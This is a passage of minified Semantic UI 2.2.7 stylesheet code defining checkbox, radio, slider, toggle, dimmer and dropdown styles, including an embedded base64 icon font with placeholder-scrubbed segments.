ease,transform .1s ease,box-shadow .1s ease,-webkit-transform .1s ease}.ui.checkbox label,.ui.checkbox+label{color:rgba(0,0,0,.87);-webkit-transition:color .1s ease;transition:color .1s ease}.ui.checkbox+label{vertical-align:middle}.ui.checkbox .box:hover::before,.ui.checkbox label:hover::before{background:#fff;border-color:rgba(34,36,38,.35)}.ui.checkbox label:hover,.ui.checkbox+label:hover{color:rgba(0,0,0,.8)}.ui.checkbox .box:active::before,.ui.checkbox label:active::before{background:#f9fafb;border-color:rgba(34,36,38,.35)}.ui.checkbox .box:active::after,.ui.checkbox label:active::after{color:rgba(0,0,0,.95)}.ui.checkbox input:active~label{color:rgba(0,0,0,.95)}.ui.checkbox input:focus~.box:before,.ui.checkbox input:focus~label:before{background:#fff;border-color:#96c8da}.ui.checkbox input:focus~.box:after,.ui.checkbox input:focus~label:after{color:rgba(0,0,0,.95)}.ui.checkbox input:focus~label{color:rgba(0,0,0,.95)}.ui.checkbox input:checked~.box:before,.ui.checkbox input:checked~label:before{background:#fff;border-color:rgba(34,36,38,.35)}.ui.checkbox input:checked~.box:after,.ui.checkbox input:checked~label:after{opacity:1;color:rgba(0,0,0,.95)}.ui.checkbox input:not([type=radio]):indeterminate~.box:before,.ui.checkbox input:not([type=radio]):indeterminate~label:before{background:#fff;border-color:rgba(34,36,38,.35)}.ui.checkbox input:not([type=radio]):indeterminate~.box:after,.ui.checkbox input:not([type=radio]):indeterminate~label:after{opacity:1;color:rgba(0,0,0,.95)}.ui.checkbox input:checked:focus~.box:before,.ui.checkbox input:checked:focus~label:before,.ui.checkbox input:not([type=radio]):indeterminate:focus~.box:before,.ui.checkbox input:not([type=radio]):indeterminate:focus~label:before{background:#fff;border-color:#96c8da}.ui.checkbox input:checked:focus~.box:after,.ui.checkbox input:checked:focus~label:after,.ui.checkbox input:not([type=radio]):indeterminate:focus~.box:after,.ui.checkbox input:not([type=radio]):indeterminate:focus~label:after{color:rgba(0,0,0,.95)}.ui.read-only.checkbox,.ui.read-only.checkbox label{cursor:default}.ui.checkbox input[disabled]~.box:after,.ui.checkbox input[disabled]~label,.ui.disabled.checkbox .box:after,.ui.disabled.checkbox label{cursor:default!important;opacity:.5;color:#000}.ui.checkbox input.hidden{z-index:-1}.ui.checkbox input.hidden+label{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.ui.radio.checkbox{min-height:15px}.ui.radio.checkbox .box,.ui.radio.checkbox label{padding-left:1.85714em}.ui.radio.checkbox .box:before,.ui.radio.checkbox label:before{content:'';-webkit-transform:none;transform:none;width:15px;height:15px;border-radius:500rem;top:1px;left:0}.ui.radio.checkbox .box:after,.ui.radio.checkbox label:after{border:none;content:''!important;width:15px;height:15px;line-height:15px}.ui.radio.checkbox .box:after,.ui.radio.checkbox label:after{top:1px;left:0;width:15px;height:15px;border-radius:500rem;-webkit-transform:scale(.46666667);transform:scale(.46666667);background-color:rgba(0,0,0,.87)}.ui.radio.checkbox input:focus~.box:before,.ui.radio.checkbox input:focus~label:before{background-color:#fff}.ui.radio.checkbox input:focus~.box:after,.ui.radio.checkbox input:focus~label:after{background-color:rgba(0,0,0,.95)}.ui.radio.checkbox input:indeterminate~.box:after,.ui.radio.checkbox input:indeterminate~label:after{opacity:0}.ui.radio.checkbox input:checked~.box:before,.ui.radio.checkbox input:checked~label:before{background-color:#fff}.ui.radio.checkbox input:checked~.box:after,.ui.radio.checkbox input:checked~label:after{background-color:rgba(0,0,0,.95)}.ui.radio.checkbox input:focus:checked~.box:before,.ui.radio.checkbox input:focus:checked~label:before{background-color:#fff}.ui.radio.checkbox input:focus:checked~.box:after,.ui.radio.checkbox input:focus:checked~label:after{background-color:rgba(0,0,0,.95)}.ui.slider.checkbox{min-height:1.25rem}.ui.slider.checkbox input{width:3.5rem;height:1.25rem}.ui.slider.checkbox .box,.ui.slider.checkbox label{padding-left:4.5rem;line-height:1rem;color:rgba(0,0,0,.4)}.ui.slider.checkbox .box:before,.ui.slider.checkbox label:before{display:block;position:absolute;content:'';border:none!important;left:0;z-index:1;top:.4rem;background-color:rgba(0,0,0,.05);width:3.5rem;height:.21428571rem;-webkit-transform:none;transform:none;border-radius:500rem;-webkit-transition:background .3s ease;transition:background .3s ease}.ui.slider.checkbox .box:after,.ui.slider.checkbox label:after{background:#fff -webkit-linear-gradient(transparent,rgba(0,0,0,.05));background:#fff linear-gradient(transparent,rgba(0,0,0,.05));position:absolute;content:''!important;opacity:1;z-index:2;border:none;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15) inset;width:1.5rem;height:1.5rem;top:-.25rem;left:0;-webkit-transform:none;transform:none;border-radius:500rem;-webkit-transition:left .3s ease;transition:left .3s ease}.ui.slider.checkbox input:focus~.box:before,.ui.slider.checkbox input:focus~label:before{background-color:rgba(0,0,0,.15);border:none}.ui.slider.checkbox .box:hover,.ui.slider.checkbox label:hover{color:rgba(0,0,0,.8)}.ui.slider.checkbox .box:hover::before,.ui.slider.checkbox label:hover::before{background:rgba(0,0,0,.15)}.ui.slider.checkbox input:checked~.box,.ui.slider.checkbox input:checked~label{color:rgba(0,0,0,.95)!important}.ui.slider.checkbox input:checked~.box:before,.ui.slider.checkbox input:checked~label:before{background-color:#545454!important}.ui.slider.checkbox input:checked~.box:after,.ui.slider.checkbox input:checked~label:after{left:2rem}.ui.slider.checkbox input:focus:checked~.box,.ui.slider.checkbox input:focus:checked~label{color:rgba(0,0,0,.95)!important}.ui.slider.checkbox input:focus:checked~.box:before,.ui.slider.checkbox input:focus:checked~label:before{background-color:#000!important}.ui.toggle.checkbox{min-height:1.5rem}.ui.toggle.checkbox input{width:3.5rem;height:1.5rem}.ui.toggle.checkbox .box,.ui.toggle.checkbox label{min-height:1.5rem;padding-left:4.5rem;color:rgba(0,0,0,.87)}.ui.toggle.checkbox label{padding-top:.15em}.ui.toggle.checkbox .box:before,.ui.toggle.checkbox label:before{display:block;position:absolute;content:'';z-index:1;-webkit-transform:none;transform:none;border:none;top:0;background:rgba(0,0,0,.05);box-shadow:none;width:3.5rem;height:1.5rem;border-radius:500rem}.ui.toggle.checkbox .box:after,.ui.toggle.checkbox label:after{background:#fff -webkit-linear-gradient(transparent,rgba(0,0,0,.05));background:#fff linear-gradient(transparent,rgba(0,0,0,.05));position:absolute;content:''!important;opacity:1;z-index:2;border:none;box-shadow:0 1px 2px 0 rgba(34,36,38,.15),0 0 0 1px rgba(34,36,38,.15) inset;width:1.5rem;height:1.5rem;top:0;left:0;border-radius:500rem;-webkit-transition:background .3s ease,left .3s ease;transition:background .3s ease,left .3s ease}.ui.toggle.checkbox input~.box:after,.ui.toggle.checkbox input~label:after{left:-.05rem;box-shadow:none}.ui.toggle.checkbox input:focus~.box:before,.ui.toggle.checkbox input:focus~label:before{background-color:rgba(0,0,0,.15);border:none}.ui.toggle.checkbox .box:hover::before,.ui.toggle.checkbox label:hover::before{background-color:rgba(0,0,0,.15);border:none}.ui.toggle.checkbox input:checked~.box,.ui.toggle.checkbox input:checked~label{color:rgba(0,0,0,.95)!important}.ui.toggle.checkbox input:checked~.box:before,.ui.toggle.checkbox input:checked~label:before{background-color:#2185d0!important}.ui.toggle.checkbox input:checked~.box:after,.ui.toggle.checkbox input:checked~label:after{left:2.15rem;box-shadow:none}.ui.toggle.checkbox input:focus:checked~.box,.ui.toggle.checkbox input:focus:checked~label{color:rgba(0,0,0,.95)!important}.ui.toggle.checkbox input:focus:checked~.box:before,.ui.toggle.checkbox input:focus:checked~label:before{background-color:#0d71bb!important}.ui.fitted.checkbox .box,.ui.fitted.checkbox label{padding-left:0!important}.ui.fitted.toggle.checkbox{width:3.5rem}.ui.fitted.slider.checkbox{width:3.5rem}@font-face{font-family:Checkbox;src:url(data:application/x-font-ttf;charset=utf-8;base64,your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAABAAADoAgPA/your_sha256_hashAEAAAAcAAQAOAAAAAoACAACAAIAAQAg6AL//f//AAAAAAAg6AD//f//AAH/4xgEAAMAAQAAAAAAAAAAAAAAAQAB//your_sha256_hashyour_sha256_hashE2MzIfARYVA7sQ/hQQFhcQ/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAgAAgAAAAAAAAABAAADwP/your_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashyour_sha256_hashAAAAAAAAAAAAAAAAA) format('truetype')}.ui.checkbox .box:after,.ui.checkbox label:after{font-family:Checkbox}.ui.checkbox input:checked~.box:after,.ui.checkbox input:checked~label:after{content:'\e800'}.ui.checkbox input:indeterminate~.box:after,.ui.checkbox input:indeterminate~label:after{font-size:12px;content:'\e801'}/*! * # Semantic UI 2.2.7 - Dimmer * path_to_url * * * Released under the MIT license * path_to_url * */.dimmable:not(.body){position:relative}.ui.dimmer{display:none;position:absolute;top:0!important;left:0!important;width:100%;height:100%;text-align:center;vertical-align:middle;background-color:rgba(0,0,0,.85);opacity:0;line-height:1;-webkit-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.5s;animation-duration:.5s;-webkit-transition:background-color .5s linear;transition:background-color .5s linear;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;will-change:opacity;z-index:1000}.ui.dimmer>.content{width:100%;height:100%;display:table;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;user-select:text}.ui.dimmer>.content>*{display:table-cell;vertical-align:middle;color:#fff}.ui.segment>.ui.dimmer{border-radius:inherit!important}.animating.dimmable:not(body),.dimmed.dimmable:not(body){overflow:hidden}.dimmed.dimmable>.ui.animating.dimmer,.dimmed.dimmable>.ui.visible.dimmer,.ui.active.dimmer{display:block;opacity:1}.ui.disabled.dimmer{width:0!important;height:0!important}.ui.page.dimmer{position:fixed;-webkit-transform-style:'';transform-style:'';-webkit-perspective:2000px;perspective:2000px;-webkit-transform-origin:center center;transform-origin:center center}body.animating.in.dimmable,body.dimmed.dimmable{overflow:hidden}body.dimmable>.dimmer{position:fixed}.blurring.dimmable>:not(.dimmer){-webkit-filter:blur(0) grayscale(0);filter:blur(0) grayscale(0);-webkit-transition:.8s -webkit-filter ease;transition:.8s -webkit-filter ease;transition:.8s filter ease;transition:.8s filter ease,.8s -webkit-filter ease}.blurring.dimmed.dimmable>:not(.dimmer){-webkit-filter:blur(5px) grayscale(.7);filter:blur(5px) grayscale(.7)}.blurring.dimmable>.dimmer{background-color:rgba(0,0,0,.6)}.blurring.dimmable>.inverted.dimmer{background-color:rgba(255,255,255,.6)}.ui.dimmer>.top.aligned.content>*{vertical-align:top}.ui.dimmer>.bottom.aligned.content>*{vertical-align:bottom}.ui.inverted.dimmer{background-color:rgba(255,255,255,.85)}.ui.inverted.dimmer>.content>*{color:#fff}.ui.simple.dimmer{display:block;overflow:hidden;opacity:1;width:0;height:0%;z-index:-100;background-color:rgba(0,0,0,0)}.dimmed.dimmable>.ui.simple.dimmer{overflow:visible;opacity:1;width:100%;height:100%;background-color:rgba(0,0,0,.85);z-index:1}.ui.simple.inverted.dimmer{background-color:rgba(255,255,255,0)}.dimmed.dimmable>.ui.simple.inverted.dimmer{background-color:rgba(255,255,255,.85)}/*! * # Semantic UI 2.2.7 - Dropdown * path_to_url * * * Released under the MIT license * path_to_url * */.ui.dropdown{cursor:pointer;position:relative;display:inline-block;outline:0;text-align:left;-webkit-transition:box-shadow .1s ease,width .1s ease;transition:box-shadow .1s ease,width .1s ease;-webkit-tap-highlight-color:transparent}.ui.dropdown .menu{cursor:auto;position:absolute;display:none;outline:0;top:100%;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;margin:0;padding:0 0;background:#fff;font-size:1em;text-shadow:none;text-align:left;box-shadow:0 2px 3px 0 rgba(34,36,38,.15);border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;-webkit-transition:opacity .1s ease;transition:opacity .1s ease;z-index:11;will-change:transform,opacity}.ui.dropdown .menu>*{white-space:nowrap}.ui.dropdown>input:not(.search):first-child,.ui.dropdown>select{display:none!important}.ui.dropdown>.dropdown.icon{position:relative;width:auto;font-size:.85714286em;margin:0 0 0 1em}.ui.dropdown .menu>.item .dropdown.icon{width:auto;float:right;margin:0 0 0 1em}.ui.dropdown .menu>.item .dropdown.icon+.text{margin-right:1em}.ui.dropdown>.text{display:inline-block;-webkit-transition:none;transition:none}.ui.dropdown .menu>.item{position:relative;cursor:pointer;display:block;border:none;height:auto;text-align:left;border-top:none;line-height:1em;color:rgba(0,0,0,.87);padding:.78571429rem 1.14285714rem!important;font-size:1rem;text-transform:none;font-weight:400;box-shadow:none;-webkit-touch-callout:none}.ui.dropdown .menu>.item:first-child{border-top-width:0}.ui.dropdown .menu .item>[class*="right floated"],.ui.dropdown>.text>[class*="right floated"]{float:right!important;margin-right:0!important;margin-left:1em!important}.ui.dropdown .menu .item>[class*="left floated"],.ui.dropdown>.text>[class*="left floated"]{float:left!important;margin-left:0!important;margin-right:1em!important}.ui.dropdown .menu .item>.flag.floated,.ui.dropdown .menu .item>.icon.floated,.ui.dropdown .menu .item>.image.floated,.ui.dropdown .menu .item>img.floated{margin-top:0}.ui.dropdown .menu>.header{margin:1rem 0 .75rem;padding:0 1.14285714rem;color:rgba(0,0,0,.85);font-size:.78571429em;font-weight:700;text-transform:uppercase}.ui.dropdown .menu>.divider{border-top:1px solid rgba(34,36,38,.1);height:0;margin:.5em 0}.ui.dropdown .menu>.input{width:auto;display:-webkit-box;display:-ms-flexbox;display:flex;margin:1.14285714rem .78571429rem;min-width:10rem}.ui.dropdown .menu>.header+.input{margin-top:0}.ui.dropdown .menu>.input:not(.transparent) input{padding:.5em 1em}.ui.dropdown .menu>.input:not(.transparent) .button,.ui.dropdown .menu>.input:not(.transparent) .icon,.ui.dropdown .menu>.input:not(.transparent) .label{padding-top:.5em;padding-bottom:.5em}.ui.dropdown .menu>.item>.description,.ui.dropdown>.text>.description{float:right;margin:0 0 0 1em;color:rgba(0,0,0,.4)}.ui.dropdown .menu>.message{padding:.78571429rem 1.14285714rem;font-weight:400}.ui.dropdown .menu>.message:not(.ui){color:rgba(0,0,0,.4)}.ui.dropdown .menu .menu{top:0!important;left:100%!important;right:auto!important;margin:0 0 0 -.5em!important;border-radius:.28571429rem!important;z-index:21!important}.ui.dropdown .menu .menu:after{display:none}.ui.dropdown>.text>.flag,.ui.dropdown>.text>.icon,.ui.dropdown>.text>.image,.ui.dropdown>.text>.label,.ui.dropdown>.text>img{margin-top:0}.ui.dropdown .menu>.item>.flag,.ui.dropdown .menu>.item>.icon,.ui.dropdown .menu>.item>.image,.ui.dropdown .menu>.item>.label,.ui.dropdown .menu>.item>img{margin-top:0}.ui.dropdown .menu>.item>.flag,.ui.dropdown .menu>.item>.icon,.ui.dropdown .menu>.item>.image,.ui.dropdown .menu>.item>.label,.ui.dropdown .menu>.item>img,.ui.dropdown>.text>.flag,.ui.dropdown>.text>.icon,.ui.dropdown>.text>.image,.ui.dropdown>.text>.label,.ui.dropdown>.text>img{margin-left:0;float:none;margin-right:.78571429rem}.ui.dropdown .menu>.item>.image,.ui.dropdown .menu>.item>img,.ui.dropdown>.text>.image,.ui.dropdown>.text>img{display:inline-block;vertical-align:middle;width:auto;max-height:2em}.ui.dropdown .ui.menu>.item:before,.ui.menu .ui.dropdown .menu>.item:before{display:none}.ui.menu .ui.dropdown .menu .active.item{border-left:none}.ui.buttons>.ui.dropdown:last-child .menu,.ui.menu .right.dropdown.item .menu,.ui.menu .right.menu .dropdown:last-child .menu{left:auto;right:0}.ui.label.dropdown .menu{min-width:100%}.ui.dropdown.icon.button>.dropdown.icon{margin:0}.ui.button.dropdown .menu{min-width:100%}.ui.selection.dropdown{cursor:pointer;word-wrap:break-word;line-height:1em;white-space:normal;outline:0;-webkit-transform:rotateZ(0);transform:rotateZ(0);min-width:14em;min-height:2.7142em;background:#fff;display:inline-block;padding:.78571429em 2.1em .78571429em 1em;color:rgba(0,0,0,.87);box-shadow:none;border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;-webkit-transition:box-shadow .1s ease,width .1s ease;transition:box-shadow .1s ease,width .1s ease}.ui.selection.dropdown.active,.ui.selection.dropdown.visible{z-index:10}select.ui.dropdown{height:38px;padding:.5em;border:1px solid rgba(34,36,38,.15);visibility:visible}.ui.selection.dropdown>.delete.icon,.ui.selection.dropdown>.dropdown.icon,.ui.selection.dropdown>.search.icon{cursor:pointer;position:absolute;width:auto;height:auto;line-height:1.2142em;top:.78571429em;right:1em;z-index:3;margin:-.78571429em;padding:.78571429em;opacity:.8;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.compact.selection.dropdown{min-width:0}.ui.selection.dropdown .menu{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch;border-top-width:0!important;width:auto;outline:0;margin:0 -1px;min-width:calc(100% + 2px);width:calc(100% + 2px);border-radius:0 0 .28571429rem .28571429rem;box-shadow:0 2px 3px 0 rgba(34,36,38,.15);-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.selection.dropdown .menu:after,.ui.selection.dropdown .menu:before{display:none}.ui.selection.dropdown .menu>.message{padding:.78571429rem 1.14285714rem}@media only screen and (max-width:767px){.ui.selection.dropdown .menu{max-height:8.01428571rem}}@media only screen and (min-width:768px){.ui.selection.dropdown .menu{max-height:10.68571429rem}}@media only screen and (min-width:992px){.ui.selection.dropdown .menu{max-height:16.02857143rem}}@media only screen and (min-width:1920px){.ui.selection.dropdown .menu{max-height:21.37142857rem}}.ui.selection.dropdown .menu>.item{border-top:1px solid #fafafa;padding:.78571429rem 1.14285714rem!important;white-space:normal;word-wrap:normal}.ui.selection.dropdown .menu>.hidden.addition.item{display:none}.ui.selection.dropdown:hover{border-color:rgba(34,36,38,.35);box-shadow:none}.ui.selection.active.dropdown{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.active.dropdown .menu{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.dropdown:focus{border-color:#96c8da;box-shadow:none}.ui.selection.dropdown:focus .menu{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.visible.dropdown>.text:not(.default){font-weight:400;color:rgba(0,0,0,.8)}.ui.selection.active.dropdown:hover{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.active.dropdown:hover .menu{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.active.selection.dropdown>.dropdown.icon,.ui.visible.selection.dropdown>.dropdown.icon{opacity:1;z-index:3}.ui.active.selection.dropdown{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.ui.active.empty.selection.dropdown{border-radius:.28571429rem!important;box-shadow:none!important}.ui.active.empty.selection.dropdown .menu{border:none!important;box-shadow:none!important}.ui.search.dropdown{min-width:''}.ui.search.dropdown>input.search{background:none transparent!important;border:none!important;box-shadow:none!important;cursor:text;top:0;left:1px;width:100%;outline:0;-webkit-tap-highlight-color:rgba(255,255,255,0);padding:inherit}.ui.search.dropdown>input.search{position:absolute;z-index:2}.ui.search.dropdown>.text{cursor:text;position:relative;left:1px;z-index:3}.ui.search.selection.dropdown>input.search{line-height:1.2142em;padding:.67861429em 2.1em .67861429em 1em}.ui.search.selection.dropdown>span.sizer{line-height:1.2142em;padding:.67861429em 2.1em .67861429em 1em;display:none;white-space:pre}.ui.search.dropdown.active>input.search,.ui.search.dropdown.visible>input.search{cursor:auto}.ui.search.dropdown.active>.text,.ui.search.dropdown.visible>.text{pointer-events:none}.ui.active.search.dropdown input.search:focus+.text .flag,.ui.active.search.dropdown input.search:focus+.text .icon{opacity:.45}.ui.active.search.dropdown input.search:focus+.text{color:rgba(115,115,115,.87)!important}.ui.search.dropdown .menu{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch}@media only screen and (max-width:767px){.ui.search.dropdown .menu{max-height:8.01428571rem}}@media only screen and (min-width:768px){.ui.search.dropdown .menu{max-height:10.68571429rem}}@media only screen and (min-width:992px){.ui.search.dropdown .menu{max-height:16.02857143rem}}@media only screen and (min-width:1920px){.ui.search.dropdown .menu{max-height:21.37142857rem}}.ui.multiple.dropdown{padding:.22620476em 2.1em .22620476em .35714286em}.ui.multiple.dropdown .menu{cursor:auto}.ui.multiple.search.dropdown,.ui.multiple.search.dropdown>input.search{cursor:text}.ui.multiple.dropdown>.label{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;display:inline-block;vertical-align:top;white-space:normal;font-size:1em;padding:.35714286em .78571429em;margin:.14285714rem .28571429rem .14285714rem 0;box-shadow:0 0 0 1px rgba(34,36,38,.15) inset}.ui.multiple.dropdown .dropdown.icon{margin:'';padding:''}.ui.multiple.dropdown>.text{position:static;padding:0;max-width:100%;margin:.45240952em 0 .45240952em .64285714em;line-height:1.21428571em}.ui.multiple.dropdown>.label~input.search{margin-left:.14285714em!important}.ui.multiple.dropdown>.label~.text{display:none}.ui.multiple.search.dropdown>.text{display:inline-block;position:absolute;top:0;left:0;padding:inherit;margin:.45240952em 0 .45240952em .64285714em;line-height:1.21428571em}.ui.multiple.search.dropdown>.label~.text{display:none}.ui.multiple.search.dropdown>input.search{position:static;padding:0;max-width:100%;margin:.45240952em 0 .45240952em .64285714em;width:2.2em;line-height:1.21428571em}.ui.inline.dropdown{cursor:pointer;display:inline-block;color:inherit}.ui.inline.dropdown .dropdown.icon{margin:0 .5em 0 .21428571em;vertical-align:baseline}.ui.inline.dropdown>.text{font-weight:700}.ui.inline.dropdown .menu{cursor:auto;margin-top:.21428571em;border-radius:.28571429rem}.ui.dropdown .menu .active.item{background:0 0;font-weight:700;color:rgba(0,0,0,.95);box-shadow:none;z-index:12}.ui.dropdown .menu>.item:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95);z-index:13}.ui.loading.dropdown>i.icon{height:1em!important;padding:1.14285714em 1.07142857em!important}.ui.loading.dropdown>i.icon:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loading.dropdown>i.icon:after{position:absolute;content:'';top:50%;left:50%;box-shadow:0 0 0 1px transparent;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em;-webkit-animation:dropdown-spin .6s linear;animation:dropdown-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em}.ui.loading.dropdown.button>i.icon:after,.ui.loading.dropdown.button>i.icon:before{display:none}@-webkit-keyframes dropdown-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes dropdown-spin{from{-webkit-transform:rotate(0);transform:rotate(0)}to{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}.ui.default.dropdown:not(.button)>.text,.ui.dropdown:not(.button)>.default.text{color:rgba(191,191,191,.87)}.ui.default.dropdown:not(.button)>input:focus+.text,.ui.dropdown:not(.button)>input:focus+.default.text{color:rgba(115,115,115,.87)}.ui.loading.dropdown>.text{-webkit-transition:none;transition:none}.ui.dropdown .loading.menu{display:block;visibility:hidden;z-index:-1}.ui.dropdown .menu .selected.item,.ui.dropdown.selected{background:rgba(0,0,0,.03);color:rgba(0,0,0,.95)}.ui.dropdown>.filtered.text{visibility:hidden}.ui.dropdown .filtered.item{display:none!important}.ui.dropdown.error,.ui.dropdown.error>.default.text,.ui.dropdown.error>.text{color:#9f3a38}.ui.selection.dropdown.error{background:#fff6f6;border-color:#e0b4b4}.ui.selection.dropdown.error:hover{border-color:#e0b4b4}.ui.dropdown.error>.menu,.ui.dropdown.error>.menu .menu{border-color:#e0b4b4}.ui.dropdown.error>.menu>.item{color:#9f3a38}.ui.multiple.selection.error.dropdown>.label{border-color:#e0b4b4}.ui.dropdown.error>.menu>.item:hover{background-color:#fff2f2}.ui.dropdown.error>.menu .active.item{background-color:#fdcfcf}.ui.disabled.dropdown,.ui.dropdown .menu>.disabled.item{cursor:default;pointer-events:none;opacity:.45}.ui.dropdown .menu{left:0}.ui.dropdown .menu .right.menu,.ui.dropdown .right.menu>.menu{left:100%!important;right:auto!important;border-radius:.28571429rem!important}.ui.dropdown .menu .left.menu,.ui.dropdown>.left.menu .menu{left:auto!important;right:100%!important;border-radius:.28571429rem!important}.ui.dropdown .item .left.dropdown.icon,.ui.dropdown .left.menu .item .dropdown.icon{width:auto;float:left;margin:0 .78571429rem 0 0}.ui.dropdown .item .left.dropdown.icon,.ui.dropdown .left.menu .item .dropdown.icon{width:auto;float:left;margin:0 .78571429rem 0 0}.ui.dropdown .item .left.dropdown.icon+.text,.ui.dropdown .left.menu .item .dropdown.icon+.text{margin-left:1em}.ui.upward.dropdown>.menu{top:auto;bottom:100%;box-shadow:0 0 3px 0 rgba(0,0,0,.08);border-radius:.28571429rem .28571429rem 0 0}.ui.dropdown .upward.menu{top:auto!important;bottom:0!important}.ui.simple.upward.active.dropdown,.ui.simple.upward.dropdown:hover{border-radius:.28571429rem .28571429rem 0 0!important}.ui.upward.dropdown.button:not(.pointing):not(.floating).active{border-radius:.28571429rem .28571429rem 0 0}.ui.upward.selection.dropdown .menu{border-top-width:1px!important;border-bottom-width:0!important;box-shadow:0 -2px 3px 0 rgba(0,0,0,.08)}.ui.upward.selection.dropdown:hover{box-shadow:0 0 2px 0 rgba(0,0,0,.05)}.ui.active.upward.selection.dropdown{border-radius:0 0 .28571429rem .28571429rem!important}.ui.upward.selection.dropdown.visible{box-shadow:0 0 3px 0 rgba(0,0,0,.08);border-radius:0 0 .28571429rem .28571429rem!important}.ui.upward.active.selection.dropdown:hover{box-shadow:0 0 3px 0 rgba(0,0,0,.05)}.ui.upward.active.selection.dropdown:hover .menu{box-shadow:0 -2px 3px 0 rgba(0,0,0,.08)}.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{overflow-x:hidden;overflow-y:auto}.ui.scrolling.dropdown .menu{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch;min-width:100%!important;width:auto!important}.ui.dropdown .scrolling.menu{position:static;overflow-y:auto;border:none;box-shadow:none!important;border-radius:0!important;margin:0!important;min-width:100%!important;width:auto!important;border-top:1px solid rgba(34,36,38,.15)}.ui.dropdown .scrolling.menu>.item.item.item,.ui.scrolling.dropdown .menu .item.item.item{border-top:none;padding-right:calc(1.14285714rem + 17px)!important}.ui.dropdown .scrolling.menu .item:first-child,.ui.scrolling.dropdown .menu .item:first-child{border-top:none}.ui.dropdown>.animating.menu .scrolling.menu,.ui.dropdown>.visible.menu .scrolling.menu{display:block}@media all and (-ms-high-contrast:none){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{min-width:calc(100% - 17px)}}@media only screen and (max-width:767px){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{max-height:10.28571429rem}}@media only screen and (min-width:768px){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{max-height:15.42857143rem}}@media only screen and (min-width:992px){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{max-height:20.57142857rem}}@media only screen and (min-width:1920px){.ui.dropdown .scrolling.menu,.ui.scrolling.dropdown .menu{max-height:20.57142857rem}}.ui.simple.dropdown .menu:after,.ui.simple.dropdown .menu:before{display:none}.ui.simple.dropdown .menu{position:absolute;display:block;overflow:hidden;top:-9999px!important;opacity:0;width:0;height:0;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.simple.active.dropdown,.ui.simple.dropdown:hover{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.ui.simple.active.dropdown>.menu,.ui.simple.dropdown:hover>.menu{overflow:visible;width:auto;height:auto;top:100%!important;opacity:1}.ui.simple.dropdown:hover>.menu>.item:hover>.menu,.ui.simple.dropdown>.menu>.item:active>.menu{overflow:visible;width:auto;height:auto;top:0!important;left:100%!important;opacity:1}.ui.simple.disabled.dropdown:hover .menu{display:none;height:0;width:0;overflow:hidden}.ui.simple.visible.dropdown>.menu{display:block}.ui.fluid.dropdown{display:block;width:100%;min-width:0}.ui.fluid.dropdown>.dropdown.icon{float:right}.ui.floating.dropdown .menu{left:0;right:auto;box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)!important;border-radius:.28571429rem!important}.ui.floating.dropdown>.menu{margin-top:.5em!important;border-radius:.28571429rem!important}.ui.pointing.dropdown>.menu{top:100%;margin-top:.78571429rem;border-radius:.28571429rem}.ui.pointing.dropdown>.menu:after{display:block;position:absolute;pointer-events:none;content:'';visibility:visible;-webkit-transform:rotate(45deg);transform:rotate(45deg);width:.5em;height:.5em;box-shadow:-1px -1px 0 1px rgba(34,36,38,.15);background:#fff;z-index:2}.ui.pointing.dropdown>.menu:after{top:-.25em;left:50%;margin:0 0 0 -.25em}.ui.top.left.pointing.dropdown>.menu{top:100%;bottom:auto;left:0;right:auto;margin:1em 0 0}.ui.top.left.pointing.dropdown>.menu{top:100%;bottom:auto;left:0;right:auto;margin:1em 0 